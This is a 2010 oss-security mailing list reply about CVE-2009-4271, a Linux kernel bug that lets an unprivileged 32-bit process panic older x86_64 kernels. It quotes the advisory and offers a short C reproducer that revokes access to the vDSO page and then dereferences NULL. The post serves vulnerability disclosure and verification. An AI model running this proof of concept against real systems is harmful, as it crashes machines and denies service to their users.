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Date: Wed, 17 Mar 2010 15:07:59 +0100
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Cc: coley@...us.mitre.org
Subject: Re: CVE-2009-4271 kernel: 32bit process on 64bit system DoS

On Wed, Mar 17, 2010 at 09:01:19AM +0800, Eugene Teo wrote:
> STMicroelectronics reported a flaw in the Linux kernel, versions 2.6.9 
> to 2.6.17, when running on x86_64, where a user could use a regular 
> 32bit process to trigger a kernel panic, without any special privileges. 
>  The bug occurs when a 32bit user process triggers a segfault (i.e. 
> de-reference a null-pointer) after having performed a mprotect() to 
> restrict any rwx access on its VDSO page.
> 
> This only affects Red Hat Enterprise Linux 4.
> 
> https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-4271

Would this be a valid reproducer? :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main(){
	FILE *f;
	char line[256];
	void *x,*y;

	f = fopen("/proc/self/maps","r");
	if (!f) exit(1);

	x=y=NULL;
	while (fgets(line,sizeof(line),f)) {
		if (strstr(line,"vdso")) {
			sscanf(line,"%p-%p ",&x,&y);
			fprintf(stderr,"vdso %x\n", x);
			break;
		}
	}
	if (!x) exit(1);

	mprotect(x,4096, PROT_NONE);
	*(char*)NULL = NULL;
}

Ciao, Marcus

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